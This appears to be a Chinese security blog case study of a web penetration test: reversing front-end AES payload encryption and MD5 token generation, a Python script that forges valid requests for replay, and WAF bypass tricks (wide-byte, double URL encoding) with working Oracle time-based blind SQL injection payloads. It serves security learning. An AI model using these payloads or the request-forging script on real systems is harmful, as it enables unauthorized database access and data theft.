《Web 安全实战案例:AES 加密接口逆向还原 + Token 动态生成自动化脚本 + 多层 WAF 绕过技巧全流程》

2025-11-26 10:28 栏目: 技术学堂 查看( )

js调试1.png

一. 前言

本文演示的所有漏洞均已修复,仅用于学习研究。
文章旨在帮助读者理解前端加密、动态 Token、自动化脚本编写与防护绕过流程。
请勿复现到未授权系统!


二. 大概流程

本次案例整体流程如下:

1. 请求无法测试:AES 加密参数导致无法重放

测试接口时发现:

  • 参数 payload 被 AES 加密

  • 每次请求都必须附带 动态 token

  • 重放请求直接返回 403 Sign Check Failed

2. 逆向分析:定位 AES 加密逻辑与 Token 生成算法

通过断点调试与全局搜索,找到:

  • AES key 与 IV 均由 JS 生成

  • Token = MD5(deviceId + 随机数 + 固定盐)

    js调试2.png

3. Python 自动化实现

通过:

  • 使用 pycryptodome 实现 AES 加密同步逻辑

  • Python 复现 token 与 payload

  • BurpSuite + mitmproxy 自动替换请求参数

实现请求自动重放。

4. WAF 绕过 + 注入测试

测试参数时发现:

  • 输入 ' 发生拦截

  • 输入 /**/ 正常 → 存在注释绕过点

  • 多次 fuzz 后提取可用突破点:

双编码绕过 + 宽字节绕过 + 时间盲注

成功使用:

'||(SELECT CASE WHEN (SUBSTR((SELECT user FROM dual),1,1)='S') THEN DBMS_PIPE.RECEIVE_MESSAGE('A',3) ELSE 1 END)||'

结合延迟盲注成功爆破数据库用户名首字符。


三. 正文

1. AES 前端加密逆向分析

在调试中发现,核心参数 payload 是一个 AES 加密后的字符串:

payload=Jf92A1v...==

在 Chrome Source Panel 全局搜索关键字:

AES.encrypt
CryptoJS.AES

最终定位到以下关键代码:

var key = CryptoJS.SHA256(deviceId + salt).toString().substr(0, 32);
var iv = CryptoJS.enc.Utf8.parse("A1B2C3D4E5F6G7H8");
var payload = CryptoJS.AES.encrypt(JSON.stringify(data), CryptoJS.enc.Utf8.parse(key), {
    iv: iv,
    mode: CryptoJS.mode.CBC,
    padding: CryptoJS.pad.Pkcs7
}).toString();

分析得知:

  • AES CBC 模式

  • Key = SHA256(deviceId + salt) 前 32 字节

  • IV 固定

只需还原此逻辑即可。

js调试3.png

2. Token 动态生成机制逆向分析

重放时报错:

400 Invalid token

全局搜索 token,最终找到:

function buildToken() {
    var ts = Date.now();
    return md5(deviceId + ts + "XyZ123!").substr(0, 16);
}

所以 token = MD5(deviceId + timestamp + 固定盐) 的前 16 位。

至此,整个请求的加密链拆解完毕。


3. Python 自动生成 sign + payload

使用 pycryptodome 模拟加密:

from Crypto.Cipher import AES
from hashlib import md5, sha256
import time
import json
import base64

def build_token(device):
    ts = str(int(time.time()))
    return md5((device + ts + "XyZ123!").encode()).hexdigest()[:16], ts

def encrypt_payload(data, device):
    key_raw = sha256((device + "SALT_FIXED").encode()).hexdigest()[:32]
    key = key_raw.encode()
    iv = b"A1B2C3D4E5F6G7H8"

    text = json.dumps(data).encode()
    pad = 16 - len(text) % 16
    text += bytes([pad]) * pad

    cipher = AES.new(key, AES.MODE_CBC, iv)
    return base64.b64encode(cipher.encrypt(text)).decode()

token, ts = build_token("device-001")

data = {"page": 1, "size": 10}
payload = encrypt_payload(data, "device-001")

随后结合 mitmproxy:

mitmproxy --mode upstream:http://127.0.0.1:8080

即可自动替换原始请求。


4. 多层 WAF 绕过 + 延迟盲注

在参数 fuzz 时发现:

阻断点:

  • ' 直接拦截

  • unionselect 会触发 403

  • || 会被替换为空

突破点:

  • 宽字节绕过 %df'

  • 双重 URL 编码:
    %2527 替代 '

  • 时间盲注可执行:
    dbms_pipe.receive_message

成功利用 payload:

'||(SELECT CASE WHEN (ASCII(SUBSTR((SELECT username FROM users WHERE ROWNUM=1),1,1))>70) 
THEN DBMS_PIPE.RECEIVE_MESSAGE('X',3) ELSE 1 END)||'

利用是否延迟成功得到结果。

最终爆破出:

DB User: SYSTEM

四. 总结

本次案例涉及:

✔ AES 加密接口逆向分析
✔ 动态 Token 生成算法还原
✔ Python 完成自动化重放
✔ Burp + mitmproxy 透明加密更新
✔ 多层 WAF 绕过
✔ 延迟盲注成功爆破数据库用户名

完整覆盖 真实 Web 渗透中的整条攻击链,适合用于 Web 安全研究人员系统学习。


扫二维码与项目经理沟通

我们在微信上24小时期待你的声音

解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流

郑重申明:某某网络以外的任何单位或个人,不得使用该案例作为工作成功展示!